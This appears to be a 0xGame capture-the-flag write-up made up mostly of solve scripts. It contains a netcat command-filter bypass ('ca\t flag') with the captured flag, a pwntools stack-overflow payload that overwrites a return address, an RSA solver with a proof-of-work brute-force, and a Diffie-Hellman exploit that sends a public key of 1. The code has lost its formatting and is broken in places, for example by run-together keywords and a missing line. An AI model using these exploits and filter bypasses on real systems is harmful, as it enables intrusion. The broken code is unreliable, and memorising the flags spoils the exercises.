wenyifan@wenyifan-VMware-Virtual-Platform:~/Desktop$ nc nc1.ctfplus.cn 26950Please input your command,no cat no sh! ca\t flag 0xGame{y0u_c4n_4ls0_3x3cu73_c0mm4nd_w17h0u7_5h_4nd_c47}
test_your_nc
stack overflow
很简单的栈溢出
from pwn import * w=remote("nc1.ctfplus.cn",20513) #io=process('./pwn') payload=b'a'*0x38+p64(0x4011F7) w.send(payload) w.interactive()
简单数学题
from pwn import * context.log_level='debug'#io=process('./pwn') io=remote("nc1.ctfplus.cn",16627) io.recvuntil(b"Kore wa shiren da!\n") for i in range(1000): t=io.recvuntil(b"?")[:-3] if b"x" in t: t=t.decode() t = t.replace("x", "*", 1) t=t.encode() num=eval(t) io.sendline(str(num).encode()) io.recvline() io.recvline() io.interactive()
import string import hashlib from pwn import * from Crypto.Util.number import * import itertools import re defsolve_pow(prefix_end, target_hash): alphabet = string.ascii_letters + string.digits for x in itertools.product(alphabet, repeat=4):.join(x) s = x_str + prefix_end if hashlib.sha256(s.encode()).hexdigest() == target_hash: return x_str returnNonedefdecrypt_rsa_prime_n(n, e, c_hex): c_bytes = bytes.fromhex(c_hex) c_int = int.from_bytes(c_bytes, 'little') phi = n - 1 g = GCD(e, phi) print(f"[*] gcd(e, phi) = {g}") if g != 1: print("[!] e and phi are not coprime, cannot decrypt directly") returnNone d = pow(e, -1, phi) m = pow(c_int, d, n) return m defextract_flag(m_bytes): try: flag_str = m_bytes.decode('utf-8') if'}'in flag_str: end_index = flag_str.index('}') + 1return flag_str[:end_index] return flag_str except: passifb'flag'in m_bytes orb'0xGame'in m_bytes orb'CTF'in m_bytes: flag_bytes = b''for byte in m_bytes: if32 <= byte <= 126: flag_bytes += bytes([byte]) else: breakreturn flag_bytes.decode('ascii', errors='ignore') return m_bytes[:100] defmain(): try: print("[*] Connecting to server...") r = remote('nc1.ctfplus.cn', 14612) line = r.recvline().decode().strip() print(f"[*] Received: {line}") match = re.match(r'\[\+\] sha256\(XXXX\+([a-zA-Z0-9]+)\) == ([0-9a-f]+)', line) ifnotmatch: print("[!] Failed to parse PoW challenge") return suffix = match.group(1) target_hash = match.group(2) print(f"[*] Solving POW: suffix={suffix}, target_hash={target_hash}") xxxx = solve_pow(suffix, target_hash) if xxxx isNone: print("[!] POW failed") returnprint(f"[+] POW solved: {xxxx}") r.sendlineafter(b'[-] Give me XXXX:', xxxx.encode()) r.recvuntil(b'[+] n = ') n = int(r.recvline().strip()) r.recvuntil(b'[+] e = ') e = int(r.recvline().strip()) r.recvuntil(b'[+] c = ') c_hex = r.recvline().strip().decode() print(f"[*] n bits = {n.bit_length()}") print(f"[*] e = {e}") print(f"[*] c_hex length = {len(c_hex)}") m = decrypt_rsa_prime_n(n, e, c_hex) if m isNone: return m_bytes = long_to_bytes(m) print(f"[*] Decrypted message length: {len(m_bytes)} bytes") flag = extract_flag(m_bytes) print(f"\n[+] FLAG: {flag}\n") print(f"[*] First 50 bytes: {m_bytes[:50]}") print(f"[*] Last 50 bytes: {m_bytes[-50:]}") except Exception as e: print(f"[!] Error: {e}") finally: try: r.close() except: passif __name__ == '__main__': main()
Diffie-Hellman
#!/usr/bin/env python3 # exploit_dh_flag.py # Usage: python3 exploit_dh_flag.py import socket import re from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import long_to_bytes HOST = "nc1.ctfplus.cn" PORT = 49871 def recv_all_until(sock, marker, timeout=5): sock.settimeout(timeout) data = b"" while True: try: chunk = sock.recv(4096) if not chunk: break data += chunk if marker in data: break except socket.timeout: break return data def main(): with socket.create_connection((HOST, PORT), timeout=10) as s: data = recv_all_until(s, b"Bob's Public Key:") text = data.decode(errors='ignore') print("[+] Server banner:") print(text) s.sendall(b"1\n") print("[+] Sent Bob's public key = 1") more = recv_all_until(s, b"\n", timeout=2) data2 = data + more text2 = data2.decode(errors='ignore') m = re.search(r"Encrypted Flag:\s*([0-9a-fA-F]+)", text2) if not m: try: extra = s.recv(8192) text2 += extra.decode(errors='ignore') m = re.search(r"Encrypted Flag:\s*([0-9a-fA-F]+)", text2) except: pass if not m: print("[-] Couldn't find 'Encrypted Flag' in server response. Full response:") print(text2) return hex_cipher = m.group(1) print("[+] Encrypted Flag (hex):", hex_cipher) ct = bytes.fromhex(hex_cipher) key = sha256(long_to_bytes(1)).digest() cipher = AES.new(key, AES.MODE_ECB) try: pt = unpad(cipher.decrypt(ct), 16) except ValueError as e: print("[-] Unpad/Decrypt error:", e) pt = cipher.decrypt(ct) print("\n[+] Decrypted flag (raw bytes):", pt) try: print("[+] Flag (utf-8):", pt.decode()) except: print("[+] Flag (repr):", repr(pt)) if __name__ == "__main__": main()
ez_RSA
from Crypto.Util.number import * from secret import flag p, q = [getPrime(256) for _ inrange(2)] n = p * q e = 65537 m = bytes_to_long(flag) c = pow(m, e, n) print(f"n = {n}") print(f"c = {c}") # n = 5288062996177288067805240670327919739339874127477405321607402348589147491552053048231920112750216696782518281218048178087877077018108705271341382858124037 # c = 2454797328903978848197140611862882439826920912955785083080835692389929572917351093371626343669582289242212514789420568997224614087740388703381025018563979